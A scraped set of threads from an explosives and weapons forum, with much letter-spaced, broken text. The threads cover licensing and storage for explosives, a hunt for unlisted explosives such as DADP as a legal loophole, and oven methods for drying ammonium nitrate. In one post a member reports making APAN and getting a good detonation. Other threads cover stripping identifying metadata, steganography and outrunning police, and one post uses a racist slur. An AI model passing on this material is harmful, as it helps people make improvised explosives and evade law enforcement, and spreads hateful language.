oversight or m istake will put you out of business, in debt or in jail. Possibly all three.
http://www.atf.treas.g o v / e x p l a r s o n / f e d explolaw/index.htm
T h e r e a r e g u i d e l i n e s i n t h e o r a n g e b o o k f o r m a g a z i n e s , a n d t y p e d e s i g n ations. Learn them before you even talk to BATFE

about your application. Additionally, there are magazine sighting and spacing requirem e n t s b a s e d o n w e i g h t s a n d t y p e s o f
e x p l o s i v e s s t o r e d . Y o u will need to show com pliance these before your m a g a z i n e i s a p p r o v e d - A n d m ost licenses are
contingent on having storage. You can submit a plan for ATFE's opinion before beginning construction.
Your best bet is probably a type II. 1/4" steel, 3" of hardwood lining. Hin ges internal or welded so pins (and door) can't be
removed. Two hooded locks or internal (m ortise) locks with a m inimum n u m b e r o f pins and m inimum s h a c k l e t h i c k n e s s
s p e c i f i e d . Y o u r c a p s n e e d t o b e i n a s e p a r a t e s m a l l m a g a z i n e , l i k e l y w e l d e d t o t h e exterior of your HE mag azine.
Your next order of bu siness will be your DOT compliance. CDL's with Hazm a t e n d o r s e m ents, medical cards, drug testing pool
for drivers. Insurance- $5 m illion liability for interstate transportation. Placards, DO T num ber, hazm at hauler registration, load
securem ent m ethods, route planning, vehicle inspections- The list is long, complex, EXPENSIVE and not one you will likely just
jum p right into with no difficulties if you've never done the work before.
http://www.m yregs.com / d o t r s p a /
You might do well to find a contractor who does the work and hire on until you've learned som ething about what the business
entails. And BTW , being a com m ercial blaster is pretty much like any heavy construction job, with the added dim ension of a few
m ore ways to die. You'll have to decide if it's worth the rest of what this gig entails just to push the button or light the fuse-
Chaosmark August 22nd, 2006, 11:31 PM

Keep in mind that starting your own blasting com pany is going to be insanely expensive, and as you start, you'll get even le ss
of the alread y rare business b e c a u s e y o u ' r e a n u n k n o w n .
However, if you're just looking to blow som e stuff up, I've already done the resea rch on the Federal level, as well as on an
extrem ely limited state level, here (http://www.roguesci.org/theforum /water-coole r/5324-federal-la w-favors-us-once.html), b ut
alwa ys check the state and local laws. Those are the ones that'll bite you in the arse. On the Fed level thou gh, it's com pletely
lega l t o m a k e a n d u s e e x p l o s i v e s o n y o u r l a n d (or on someone else's with their permission), so long as it's not for com m ercial
purposes.
Since you have to do it anyways, why don't you do the research for your area and post it u p in that thread so we have a better
idea of where it sucks to be an extrem e landscape reorienter.
PiSing August 23rd, 2006, 02:59 AM

C o n s i d e r i n g t h a t t h e n e e d s y o u e x p r e s s a r e s i m p l e , a n d f o r s m all quantities, you probably want to look at using just a
portable / mobile indoor m agazine for your storage needs. You can find the details at: http://www.atf.treas.gov/explarson/
fedexplolaw/subpartk .pdf, SubSection 55.208 (b).
The requirem ents are m uch m ore m o d e s t t h a n t h o s e n o t e d a b o v e .
F o r e x a m ple, it m a y b e a s m all m etal (12 ga) box with a non-sparking interior,
(spray-on be dliner works) with s o m e specific details about the hinges and locks.
I had a welder friend make mine. (12" h x 12" w x 24" L)
Have someplace besides your house to store it, like a detached garage.
Distance tables do not apply to this type of magazine, but you can not store more than 50 pounds. (A case of Dyna mite is 55
lbs.)
B e f o r e y o u g o c h a s i n g a C D L w i t h H a z m a t e n d o r s e m ent, you m ay want to check out:

http://www.atf.treas.g o v / e x p l a r s o n / f e d e x p l o l a w / q a n d a . p d f
particularly question 19 and question 30.
P l e a se take Bert's advice and download the orange book. Read it cover to cover, it's not that big.
A n d h e e d C h a o s m ark's warning about checking out the state / local level;
m y county has m ore stringent requirements than the feds do.
pearlcrash911 August 26th, 2006, 12:12 AM

Hey, I just found the list of explosive m aterials that the government uses to define the word "explosive".
http://www.atf.treas.g o v / p u b / f i r e - e x p l o _ p u b / l i s t o f e x p . h t m
The United States Code uses this document as well as the Code of Federal Regulations. If you were to follow the path of m a n y
m anufacturers of designer drugs, you could find loop-holes in th e law by making very slight changes to a popular explosive to
m ake it legal.
Also state laws are very restrictive on explosives, but any reference to ex plosives in state codes always refer to the explosives
defined in the ATF do cum ent.
I've found th at according to this, it is technically legal to m a n u f a cture DADP. Instead of listing AP as Aceton e P e r o x i d e , t h e y
choose TATP, leaving DADP unclassified.
I was wondering if there were any other (less sensitive) explosives that was also unlisted on that page.
I'm not a lawyer so please correct m e if I'm wrong
(sorry m e g a , w h e n I s e a r c h e d f o r " l o o p h o l e s " a n d " a t f e x p l o s i v e s list" nothing relevant cam e u p )

Thanks for your interest, pearlcrash911, but we h a v e h a d t h e l i s t o f e x p l o s i v e s o n T h e F o r u m f o r m any yea rs, and we have
already discussed the legal merits of loopholes. A search would have revealed this.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Drying hygroscopic chemica ls
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Smoakie August 23rd, 2006, 04:50 PM

Not sure where to put this so I'll put it here so I don't get in trou ble.
I was curious about the best way to dry out hyg roscopic chem icals.
I live in a very hum id climate and m y am monium nitrate can absorb enough water in a da y to turn into a puddle if left open to
the atmosphere.
I can lay it in the sun on a hot day and it will dry out and look dry but when put into a container will turn hard, which I interpret
as still having a fair amount o f water.
I would rather not put it in my oven for safety reasons. W hile I'm sure it would be fine and not get too hot, I do not like the
idea of chem icals in the same place as m y f o o d .
I have a 5 lb bag of silica gel. W ould the silica gel pull the water out if both chem s were seperated and put into a closed
container? Or would they reach an equilibrium? Or would the AN pull the water out of the silica gel? I took som e basic chemistry
classes but nothing was ever m entioned about the affinity of water and such.
I guess I can go down to goodwill and get a cheap toaster oven but the cycling of the therm o s t a t c a n c a u s e s o m e pretty drastic
temperature spikes.
Just curious what others think.
Thanks

AN prill is m anufactured by spraying hot, saturated AN solution a t the top of a shot tower, and forcing hot, dry air into the
bottom in a counter-flow. Not practicle for us.
T h e e x p l o s i v e s l a b s , w h e r e t h e y m a k e n u k e s a nd desig n new weapons, they dry m aterials by warm ing them in a vacuum
chamber. If you have a vacuum pump (or com pressor that can be used as one), you might try vacuum drying.
You may try wam ing the AN in an oven (don't m elt it) with a tray of silica gel or heat-dried calcium sulfate (plaster o f Paris). It
m ay or m ay not work.
If th e AN has fused from water absorption, you will have to pulverize it first. That can be a task, as rock-hard is a good
description.
It m ay be worth the money to purchase a surplus, steel, air tight, am munition box to store the anhydrous AN in (ad d a silica
gel pack for insurance). Put the AN in a plastic bag to prevent any interaction with the paint on the box.
The fertilizer codes are:

AN - 34-0-0
Am m o n i u m S u l f a t e - U r e a - 3 3 . 5 - 0 - 0
Urea - 46-0-0

You should probabbly get som e anhyd rous magnesium sulfate or you could get some magnesium sulfate heptahydrate
(epsom salt) and dry it out yo ur self. It absorbs so m uch m ore water than silica g el it's freakin crazy.
P u t s o m e of that stuff in an airtight container with your AN and it will keep it super dry.
As for drying it out, You could get a he at gun (http://www.m pja.com/prod uctview.asp?product=15857+TL). They acctually work
fairly well for drying hydroscop ic chem icals out in a hurry because they apply heat and m oving air. They just don't work well for
l a r g e a m o u n t s o f c h e m icals because you can only apply so much heat to a specific spot at one tim e.
And you are present and have to be there for the whole process. And AN will start smoking long before it co m b u s t s s o y o u
won't really have to worry about AN exploding in your face.
I would try a heat gun before I put it in my ove n that I cook my food in. That's what I use for everything except tho se highly
temperature sensitive m aterials where drying it out is dangerously close to com b u s t i o n . I h a v e n o t u s e d a h e a t g u n o n A N
though as I have never made an AN based explosive.
bipolar August 24th, 2006, 05:58 AM

One thing about the use of silica gel, epsom salt, or other dessicants, is that they must be activated by heating in the oven for
a long time to remove all the moisture from them .
In m y opinion, that would be the best bet to rem ove all the m oisture. Se al in an air tight container with the chemica ls to be
dried, but seperate.
It will achieve equillibium, which will significantly dry the chem ical out. How much it dries out depends on the ratio of dessicant
to m aterial.
If you use dessicant frequently, you m ay want to purchase specialty resusable dessicant rocks that changes color depending on
how much water has been absorbed. If I rem ember right, they a lso have shorter reactivation tim e s .
nbk2000 August 24th, 2006, 06:11 AM

Use the fucking oven, for God's sake, and keep it simple.
Spread it out in a clean glass casserole pan, or steel cookie sheet, with another sheet or alum inum foil between it a n d t h e
h e a t i n g e l e m ents.
Set the oven for 300 degrees F, and open it up and give it a quick raking (be quick!) with a spatula every 1/2 hour to break up
clum ps.
W hen it stops steam ing, it's d one. It might turn tan, bu t that's OK.

I use a lot of Dririte in the lab; the color changing variety. You just shovel a scoop into the oven and let it dry for an hour just
a s n bk said. There is not m uch too it. The color changing product is used in sealed glove boxes and desiccant cham bers so it
can be observed at a glance when it is time to replace.
Dont use a heat gun for anything critical unless you really know what you are doing. It is a lot harder than it looks to keep
s o m ething from burning. Hold it a bit too close for a few seconds too long and you burn what you are heating. It takes practice
to use a heat gun in the lab.

It ta kes practice to use a heat gun in the lab.
Or just practice stripping paint or bending giant 1/2" thick sheets of acrylic with a heat gun . A n d I d o h a v e a l o t o f e x p e r i e n c e
with that.
But your right, if you don't have any experience with a heat gun you can burn stuff easily. But once you get it figured out you
can m aintain a constant temp and moving air very efficiently with a heat gun.

For m e, oven = m icro wave. That may not be wise to use for dehydrating.
Others m a y h a v e t h e s a m e p r o b l e m . Will a toa ster oven work?

I t s e e m s l i k e a m icrowave might be a fairly good option, if the power level was low enough. Seeing as the m icrowave only
heats the water m olecules, an d not other substances.
Am I com pletley out to lunch on this one?
nbk2000 August 25th, 2006, 10:44 PM

Toaster oven would work for non-comb ustible m aterials.
I wouldn't use it for som ething like AN, though, because the heating element is so close to where the pan would be, that
radiant heat could cause localized overheating of the material, leading to an 'und esireable' event. ;)

The problem with a m icrowave is that there is n o way to read the temperature of the m ate rial you are heating while you are
heating it, just like th e toaster oven.
You're right, nbk, a m iniature recreation of the Texas City disaster (1949) in one's kitchen wouldn't be fun. Do you think an
a s b e s t o s p a p e r s h i e l d b e t w e e n t h e h e a t i n g e l e m ents and material would help m a k e t h i s s a f e r ?
nbk2000 August 26th, 2006, 04:31 AM

As long as there's a barrier between th e tray and the radiant heating elem ents, than it should be OK.
In fact, you could sim ply fill the bottom of the toaster oven with fine dry sand, covering the elem ents. Then your toaster ove n
becomes an air bath. :)

There is a way to determine the tem perature of a m aterial being m icrowaved, which they do in laboratory experim ents. I
believe the technique is infrared therm ographic analysis. Of course that m ight be expensive. I have run across the technique
bein g u s e d t o e v a l u a t e m icrowave catalytic hydrogenations to monitor m etallic catalyst hot-spots.
A n e x p o s e d e l e m e n t f o r t h i s s o r t o f h e a t i n g o f a p o t e n t i a l l y e x p l o s i v e c o m p o u n d i s b a d . T h e r e a r e always plenty of auctions

around the Internet for sm all lab ovens that can m ore precisely m aintain a tem p e r a t u r e o f 1 0 0 - 1 1 0 d e g r e e s C . T h a t is the
o n l y t e m p e r a t u r e r a n g e y o u n e e d . Y o u a r e m ore than likely to d ecom p o s e a m m onium nitrate into nitrous oxide by
overheating it, but who would want to take the chance?
nitram3000 March 18th, 2007, 08:21 PM

I have tried using a toaster oven to dry my AN. It starte d out white, then I came back an hour later(by the way I was drying at
90 degrees C). The AN has slightly bro wn and black. Also it seemed more wet tha n before the drying process. I then turned up
t h e t e m p e r a t u r e t o 1 2 0 d e g r e e s C . I c a m e back a half hour later and it was even browner and it was steam ing a lot. It still
s e e m ed very dam p. I turned the temp erature back down to 190 degrees C. There is abou t 300 gram s of AN in the oven on a
m e t a l p a n l a y i n g u n c o v e r e d . H a s a n y o n e e x p e r i e n c e d t h i s p r o b l e m ? I t h o u g h t t h at it should only take an hour to d ry the AN.
For 300 gram s, I suppose a heat gun would work better. Any opinions?
megalomania March 18th, 2007, 11:10 PM

U n l e s s y o u a r e u s i n g a r e a g e n t g r a d e a m m onium nitrate, there is probably some sort of im purity causing the brown color. You
m ay have to heat a large quantity of material for several hours, or even overnigh t to get rid of all the moisture. You must also
k e e p t h e h e a t a b o v e 1 0 0 d e g r e e s C for drying to be effective. About 110 degrees C works fine, no n e e d t o g o h i g h e r b e c a u s e
then you run into trouble. Also, m ake sure whatever m aterial you are drying can handle sustained tem peratures of 100 C...
A heat gun is very tricky unless you are experienced with it. It causes hot spots that can easily lead to burn i n g a n d
d e c o m p o s i t i o n o f c h e m icals. Unless yo ur heat gun only puts out 110 C air, it m a y b e t o o m uch.
A toaster oven also m ay not be the be st thing for heating chem icals. The close proxim ity of the heating element can easily
cause hot spots directly beneath or above them . Not to mention the possibility of fum e s t h a t c l o s e t o t h e e l e m e n t c o u l d b e a
fire or explosion hazard. Toaster ovens are not exactly built to the same standards as real convection ovens, but even those
are not exactly well suited to chemical drying. The temp erature calibration of a toaster oven leaves a lot to be desired. They
m ay be off b y 2 5 - 5 0 d e g r e e s o r m o r e d e p e n d i n g o n t h e m a k e , m o d e l , a g e , a n d c o n d i t i o n .
You really can't beat an actual lab oven for this sort of thing. Notice real lab oven do not have exposed elem ents, a nd they
have a therm o m eter port for accurate temperature regu lation.
Evolutionist March 19th, 2007, 03:06 AM

I tre ated filter paper with a colbalt chlo ride solu tion (which turns blue in the absence of hum idity and pink in humid condition s)
and I put a strip in th e container that I use as a dessicator so I know when to change the dessican t.
c4goesbang March 19th, 2007, 10:51 PM

I have been wondering if a food dehydrator would work. I have a large one, about the size of a m icrowave oven.
I will try it an d post the results.
nitram3000 March 21st, 2007, 03:39 PM

I actually continued u sing the toaster oven to dry my AN and it dried the AN enough to m ake APAN. It was very brown, but th e
AN provided a very good detonation. (there was almost no sm oke after the blast, which I assume is a good thing). I just had
to grind the AN again cause it hardened and stuck to the pan. I conclude that toaster ovens are usable, but the AN m u s t b e
observed carefully.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > PDF file 'fingerprints'
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I couldn't find anything on this using a search, and believe it may be a 'good-to-know' item.
Create a working copy of a .pdf file you have just created.

Rename it from .pdf to .doc, and open it in wordpad.
Do a find for "author".
Is that you?
Delete the name of the author and save.

Rename the file back to .pdf, and access it with acrobat reader.
Corrupted file.
If you replace the author's name, it will work again, if acrobat didn't repair the 'damage' for you.
Electronic fingerprints!
nbk2000 August 24th, 2006, 04:10 AM

If your smart, your real name never goes on your computer...EVER.
Not when installing the OS, nor installing programs, nor your ISP, nor stored in a file on your computer, etc.
Pay your bills with money orders through the mail. Order stuff online by printing out the form and mailing it in.
Much discussed here.
ShadowMyGeekSpace August 24th, 2006, 09:11 PM

Also, using a hex editor and just replacing your name with nulls would be a much safer, efficiant way of doing this...

I have attached the NSA guidelines on redaction procedures for word and acrobat in another thread. The upcoming version of Office 2007 is supposed to have integrated
redaction tools to strip all meta data. The newest version of acrobat 3d does not have any redaction tools at all, although the plugin Redax can add that functionality.
The current version of Redax seems rather hard to come by and I have not found a crack for 4.0 yet. Any one out there have a copy?
reamio August 25th, 2006, 04:42 AM

Mega, I can confirm that Word 2007 has a function to remove all meta data included.
It's in the Finish.. Inspect Document command (Microsoft calls it the Document Inspector in their literature).
The Inspector finds all instances of meta data and asks you confirmation before removing it. You can then save a "cleaned" file with a different filename.
I have tried it, and later searched the file with a hex editor and was unable to find any of my meta data remaining in the document.
I have been using Office 2007 (beta) since it was released.
However, it's worthwhile to reiterate NBK's reply to my post on Windows Vista Bitlocker drive protection:
General consensus? Don't trust it.
I believe that Pb1's reply to the same post also expresses the forum's general feeling about MS security:
I wouldn't trust anything from Micro$oft as far as I could throw the CD.
Maybe it would be better to depend upon Redax or similar third-party software.
BTW - Word 2007 can create .pdf files internally (without installing Acrobat!).
However, it is not a complete replacement for Acrobat, since Excel 2007 does not include this feature.:mad:

Mega: I've read those guidelines (and others) - too narrow in scope, too many formats not mentioned.
nbk: My problem was I stayed with their rules too often. A real ID, and playing by their rules, will give the sheepdogs (sheepledogs?) the feeling you are on the level, and give
you access to things that would have been otherwise blocked. No longer true, they block everyone now.
Also, some of my software, in the past, required a real ID to obtain it as well as use it. One even sent a tech to install the access software to use their software on their website
(no longer have that one, too expensive for the yearly license once I retired).
I have been doing some experimenting with my grand-niece, who showed me the problem a month ago (teach a 5 yo how to use a computer, and by the time they are 10
yo, they are teaching you). So far, .pdf's that are made in Acrobat from scan images do not have this, or similar, fields. It seems that the Word format is again at fault. I will
be spending the rest of the afternoon testing other formats with vareous ways of converting to .pdf, and post my findings. I am also going to see if it is Acrobat or Acrobat
distiller at fault here. If it's the distiller, an alternative distiller may solve the problem.
It seems that at least some of the metafields in pdf files are used to encrypt the file, even when its security is set to public mode (off). Deleting these entries means that
Acrobat no longer has all the data to open the file.
Regardless of what is found, it may be worth the effort checking all pdf's for private info leakage. However, this does not mean some form of ID, even a serial number for
software, isn't encrypted somewhere.

I just finished some tests with interesting results.
Using Notepad, I took an ASCII text file and printed it - paper only, no pdf - I'll have to reset my primary printer to Acrobat distiller.
I renamed this text document to .doc and loaded it into Wordpad - the resulting pdf (using Acrobat distiller) had the ID fields.
Saved to the other formats (rtf, Word 6.0, unicode, etc) - they all created a pdf with ID fields. It is either Wordpad (and likely all Macroslop programs) or Acrobat distiller at
fault.
I took one of the 'fingerprinted' pdfs, and using Acrobat, attached it to a clean pdf made from scanned images, and saved it. The 'fingerprints disappeared! Doing a Save As
reduced the size by eliminating unused objects did not bring any 'fingerprints' back, but the new file is slightly larger than the original 'fingerprinted' file.
More work needed on this, such as what happens with html files? I felt this was too important not to post immediately.
Posting this here first, before I send these results to the security experts I know - quid pro quo can pay off.
Nihilist August 29th, 2006, 08:53 AM

Something else you guys may want to be aware of is that word documents and PDF files have a tendency to 'pick up' stray bytes left sitting on your hard drive. It has to do
with the way files are stored and over-written, and some of the optimization tricks they use to make file access faster. Though most forensics experts would probably overlook
these details, a clever person could probably glean some interesting info with a little luck and determination.

Nihilist: think "steganography"
Nihilist August 29th, 2006, 06:03 PM

Nihilist: think "steganography"
It's not steganography. It happens without you knowing about it, or wanting it to happen.

You missed my hint. What if that were done deliberately by you to hide information? It should be simple to write a program that would hook a small file onto the end of a pdf
file in a way that would not show up in the pdf reader. Use a string of end-of-file markers to seperate the two. A reverse program could split it off later to retrieve it.
I showed some friends how to 'tag' data onto image files in a camera to smuggle humanitarian investigation information past authorities. It can no longer be used, they have
learned how to detect the simpler methods.
Nihilist August 30th, 2006, 05:33 AM

You missed my hint. What if that were done deliberately by you to hide information? It should be simple to write a program that would hook a small file onto the end of a pdf
file in a way that would not show up in the pdf reader. Use a string of end-of-file markers to seperate the two. A reverse program could split it off later to retrieve it.
I showed some friends how to 'tag' data onto image files in a camera to smuggle humanitarian investigation information past authorities. It can no longer be used, they have
learned how to detect the simpler methods.
I don't mean to insult you, but that is an *extremely* poor steganography technique. To begin with, before embedding any data, you should encrypt it. The purpose there is
two-fold:
1. Encryption, if it's good, will increase the entropy of the data-set, making it much harder to identify heuristically.
2. If they somehow do decide that there is some kind of stego'd info in your file, they still can't access it, or even figure out for sure if they've broken your stego
algorithm(because it would appear as gibberish either way).
Secondly, instead of just concatenating the data onto the end of the file, you shoudl be interspersing it throughout, make it part of the file. For instance, you could alter each
pixel in an image slightly, such that it is undetectable to the human eye, but compared with the original file...you can extract a single bit of stego'd info from each pixel. Or in a
text file, sentences beginning in 2 spaces are a 1 bit, sentences beginning with 1 space are a 0 bit. If you used that format for an entire ebook, you could write a small
message that way. The more imaginative your method is, in general, the more secure it will be.

Agreed, it is primative. Just trying to get you to think beyond the box. When you noticed that pdf files were aquiring bits, and were not affected, you should have though of
how that could be made use of. That is how new ideas start.
Entropy is just the start in ciphers. There is also auto- and cross-correlation, logical distance between cipher elements, and patterns within these.
Crypto, in many parts of the world, is becoming illegal. What is needed is non-crypto crypto. Information theory gives hints of how this is done.
The bit is the smallest particle of COMPLETE data. There are particles that are incomplete, but can be used to regenerate the original bit. I used this for a totally asynchronous
multiplexor - no common timing between signals.
For security, use a Hamming error correction code (7:4:1 - 7 transmitted bits; 4 data bits; one error correctable). Split the seven bits into seven files. Seperate the seven files
from each other. At least six files are required to recover the original data, so if you can keep at least two out of the hands of an opponent, they cannot read the original data.
If you lose a file, the others will allow you to recover the original data. I'll let you figure out the interleave patterns to keep files from being all data bits and no syndrom bits.
No keys to lose or disclose, nothing to betray under interogation. Non-cryptographic crypto.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Material for m o u l d ?
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another_number August 24th, 2006, 08:03 PM

W hat material would be best suited to make a mould for casting lead?
I n e e d t o m a k e a m ould from a positive, although the positive has a som e what intricate shape which would cause it to be very
hard to rem ove without breaking the m o u l d .
I'm considering plaster of paris, but I don't have any experience with it. W ill plaster of paris stand up to the heat of m olten
l e a d ? C a n i t b e h e a t e d t o i m p rove flow of the lead into the mould? And finally can it be cu t in half to rem ove the po sitive
without ruining the mould?
nbk2000 August 25th, 2006, 05:13 AM

There's a thing called a 'search engine '.
UTFSE
Once you've gotten results there, com e back here and provide relevant links to sites that detail the process in a m a n n e r u s e f u l
to E&W .
Profit! :)
Hitech_Hillbilly August 25th, 2006, 01:46 PM

Casting is easy to find on the web. First, another_number, go here: http://en.wikipedia.org/wiki/Casting and do a little
rese arch.
From the article, you should be able to learn enough to then go to Google and do a well-formed search to find a site that can
give you all the information you need.
By your post, you will need to look at the lost wax m e t h o d a n d t h e p l a s t e r m e t h o d . Y o u s h o u l d b e a b l e t o c o m e u p w i t h a

combination of the two if the item is very intricate.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Basic Fitness/Abilities
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Alexires August 27th, 2006, 10:42 AM

Often in the forum, there is talk about "when the crackdown comes" and other such times when the knowledge obtained here
will be of some use.
But the problem is, if your a big fat guy, your gonna get your ass shot by the JBT.
What I would like to ask the forum readers is (especially NBK and Mega) what they think a basic level of fitness/ability would
be for the average forumite and then the ideal level.
The Army pre entry physical requirements are frankly shocking. 45 sit ups, 15 push ups (8 for chicks) and a bit of running.
(Aus army requirements)
Personally, I think that a much higher level of fitness and ability is required to be able to do anything at all useful.
What do you all think? I'm not too sure what is reasonable. Personally, being able to run 10km fairly easily would be the
basic, at least 100 push ups/sit ups and be able to hit hard enough to make sure whoever you hit goes down and stays down.
Ability wise, I would say know enough about a few various weapons that you wont shoot/stab yourself in the foot (or blow it
off).
Idealy, I have no idea about the push-ups/sit-ups but I'd say 20km with a 25kg back pack would be the ideal for running, and
also good environmental awareness. When I say environmental awareness, I mean the ability to recall what was in a room
from just a quick glance and other such kind of things.
Also, for those of us where guns are hard to come by, I would recommend proficiency with a bow. Not a crossbow, because they
take too long to reload (but proficiency with that would be good as well). The ability to hit something from just the sound of it
(I get bored during the day) and good upper body strength (for climbing and stuff like that).
If you could master those skills, then you wouldn't need nightvision. Remembering where everything was in the room, you
could avoid it, or use it for cover. By being able to shoot at sounds and hit them, you could take out people stomping around
in boots, and if you needed to run away or climb away, you could do so.
Also knife throwing. It may seem stupid, but its better to know it and not need it, than to need it and not know it.
Just throwing ideas out there gentlemen.

The strength your talking about isnt really that important, sometimes muscles can slow you down.
You will always need some muscles, you cant be a scrawny little 12 year old, nor can you weigh 100Kg, but in the end its the
skill that counts.
Martial arts and combat fighting would be great for fighting. (I'm learning Arwrology :))
You also have to be fast, to run from the police etc. "Le parkour" has been discussed here before, it is probably the best way
to get away.
Defendu August 27th, 2006, 12:20 PM

I would recommend proficiency with a bow. Not a crossbow, because they take too long to reload (but proficiency with that
would be good as well).
Does anyone else find it ironic that some of the members at an 'Explosives and Weapons' forum seem to be wannabe ninjas
who dream of waging war with bows and arrows, and throwing knives?
And what about your NinjaTM throwing knives?
Try comparing the time it takes to draw back your knife arm for a throw and aim compared to just rushing in and stabbing a
target within knife throwing range.
To illustrate my point open this link and skip to 1 minute and 30 seconds into the video:
http://video.google.com/videoplay?docid=-8884586003342147853
Can you honestly say you can draw and throw a knife to lethal effect against a cop before he can get his weapon out of its
holster? And what good is a short range projectile weapon like a throwing knife if it takes longer to use than it would if you
were to just run right up to your target?
Ekilo August 27th, 2006, 02:12 PM

I don't remember where I was reading this, but the article was saying that it takes about 10 years to master a skill. I would
assume that this time would vary depending on the amount and quality of practice.
If 10 years is correct then I believe our current knowledge is all we will have to depend on. For alot of people this means they
are up the creek.
The current state of affairs in the world show me that there is little time left. I hope I am wrong.
No matter how skilled and knowledgeable you are, there's no substitute for strength and endurance. What possible benefit
could come from ignoring two of the most basic elements of human survival?
My suggestion is to do CrossFit five times a week. This is the program many tactical operations teams and special operations
units train on... it's designed to enhance your ability to deal with combat and survival situations on multiple levels. Works for
me.
http://www.crossfit.com/cf-info/excercise.html

I disagree with your stance 411, what good is strength with no skill or knowledge on how best to apply said strength? If your
main attacks are smash and grab what are you gonna do when you find someone who can dodge you? You need to be able to
use the strength you have in the most efficient way possible
Some basic things that everyone would benefit from without regards to which side of the law they wish to live on
-run 2 miles contiunous, ideally in as close to 15min as possible
If you can't get to a car in that time, you set yourself up for failure and deserve whatever is chasing you
-5.5sec or better 40yd dash
Those first 6 seconds of the chase will determine where you sleep that night, be it your bed, a hospital, police station, or a
morgue if you can't get distance between yourself and your pursures your screwed
-be agile
you need to be able to change your course to effectivly fight or escape and evade
-situational awareness so you don't get a beer bottle to the skull
and a basic familiarity with weapons for when you can't avoid confrontation be it with the JBTs or a group of misguided street
vermin
-know some basic blocks and strikes perhaps an entire kata from a chosen martial art.
-be able to hit what you're aiming at with the most common weapons
-small arms 15m(this includes knives, shuriken & shaken, and blowguns for you fuedal assasins :rolleyes: )if you can do that
you'll be way ahead of most of the thugs on the streets
-rifle; iron sites 30m
-Basic fitness
-10 pull ups
-100 pushups
-200 situps
-100 body weight squats(ie just you, no bar, no weights)
Jome skanish August 27th, 2006, 05:26 PM

Shurikens? For what? Those are only useful as a diversion, perhaps throwing at an knife-armed enemy. Great video btw!
The truth is, noone can hope to escape a serious "crackdown", no matter how fast, well trained and well armed one is.
Especially since most of you live in the US, and if you're suspected to be a "extremely dangerous terrorist", there is going to
be lots of cops. And even if those theoretically could be beat, there would be swat-teams, snipers, helicopters....
The point is, if you're going to use drain cleaner for anything else but drain cleaning, dont live where they shoot you for it.
Basic combat-ability and E&Ws knowledge is good, especially if there will be riots, ethnic clashes or perhaps even civil war, but
as one single person you simply cannot win or even make much difference in defending your loved ones.

"I disagree with your stance 411, what good is strength with no skill or knowledge on how best to apply said strength?"
You missed my point: since when is survival a matter of "pick the best one of four"? You need it all. I know from personal
experience that in many situations, even if you have the knowledge and skill, without strength and endurance, you're
absolutely fucked.
I know out-of-shape people can be very creative when it comes to making excuses for themselves, but unfortunately that's
just how it is.
Adapt or die.
nbk2000 August 27th, 2006, 06:41 PM

Shurikens? For what?
Someone missed the :rolleyes: icon, indicating disdain or sarcasm for such things. :p
Research by the LAPD shows that if a suspect can outrun the police for 200 yards (assuming no helicopter), he'll generally
escape immediate capture, because the cops are weighed down with so much shit, and in such physical condition, that they
can't keep up with a good sprinter.

Indeed, on our own we are screwed if we are alone in the event of a big crackdown. However, being ready and able to fight for
your life is a definate thing I believe all members of the forum should be able to do.
Also, those fitness levels for pre-entry into the army are laughable. 15 pushups? Hell, that was my maximum when I hadn't
worked out for two years and was a scrawny weakling. Anyone got figures for AFTER boot camp though?
Let's face it, you need everything to be able to hope to "win" (escape alive). Strength, agility, intelligence, ability to survive
without anything. Alexires has a good point, that chances are a lot of people on this forum are not in good shape. That really
is something that everyone should work towards changing, for their own good.
Ekilo August 27th, 2006, 07:41 PM

Chris The Great came close to hitting the mark.
Basic human instinct dictates that a person will either fight or run
Fight or Flight
We have all heard of great feats being performed under dire circumstances. I believe that a little extra experience would
greater enhance the outcome of such a situation.
The way I personally feel is, a person should learn whatever they choose. Learn it well. You may never need it but you never
really know.

Research by the LAPD shows that if a suspect can outrun the police for 200 yards (assuming no helicopter), he'll generally
escape immediate capture, because the cops are weighed down with so much shit, and in such physical condition, that they
can't keep up with a good sprinter.
Interesting. Of course, other kinds of pursuers are likely to be better organized and much harder to escape than the police
(SWAT, FBI, BATF, DEA, INS, Federal Marshals, National Guard, professional hit men, bounty hunters, etc).
One of the basic principles of risk assessment is to define and rank your threats in order of probability and potential loss and
prepare accordingly. I'll bet most people here have far more to worry about from their fellow garden-variety scumbags than the
kind operating under a badge.
No matter what threats you face, studying military manuals on E&E and SERE (Survival, Escape, Resistance and Evasion)
training couldn't hurt. The more prepared you are, the better your odds.
http://usmilitary.about.com/od/armymanuals/
One of the most useful tips I picked up is the importance of being able to seem "cooperative" and talkative without revealing
any useful information whatsoever.
megalomania August 28th, 2006, 01:22 AM

Physical fitness is not just good for survival when it counts, but it is good for you period. I have stepped up my own physical
fitness program to shed a few extra pounds and to build up muscle mass. Physical activity increases oxygen flow to the brain,
which in turn enhances intellect and memory, albeit briefly. There was just a promising study about long term memory effects
in Runners World a few months ago.
Being fit and athletic can also boost self confidence in a dangerous situation where you may fear getting your ass kicked. If
you think you can win a fight, you may be less likely to run away like a scared little girl, or you can diffuse a potentially
dangerous situation with a potential attacker from sheer presence of will. A victim that meekly surrenders will be more likely to
be raped and abused, but a man that stands his ground might not be worth the trouble.
If you have the time and the inclination then no combat skill is useless. Since most of us do not have the time to master
martial arts or weapons, having at least some basic familiarity with weapons can help save your life. The weapon depends on
the situation. There is an old saying, dont bring a knife to a gun fight. If you fear men with guns, then get a gun. If you
fear men with fists, then learn to use your fists.
I have a concealed carry permit and a .45 caliber on me at every opportunity where it is legal. I have a small knife when it is
not. I cant throw my knife with any great accuracy, but I will immediately go for your throat or gut. I will not hesitate to shoot
anyone if I think you will attack me. I always keep my weapons hidden until I intend to use them. A man once had me by the
throat with the intention of doing some harm, but he never knew I had a knife pressed against his gut, inside my jacket, the
entire time.
The gun is a great equalizer. The kinds of men who are quick to dismiss guns as cowardly and unfair are usually skilled at
martial arts and physically powerful. They dont like their physical advantage taken away by any 90 pound weakling with a .22.
You also do not have to use a gun for it to be effective. A murderous band of raping niggers can be discouraged from any
criminal act when a gun is pointed at their balls.
Dont wait until you are going to be raped and murdered before you use a gun. I practice at the shooting club to learn the
weight and fit of the gun, to get used to the kick, and to work on my aim. Being a professional sharpshooter is not my goal,
just the occasional experience.
You do not have to train like an Olympic athlete because the world is full of amateurs, just like you. But you are at a
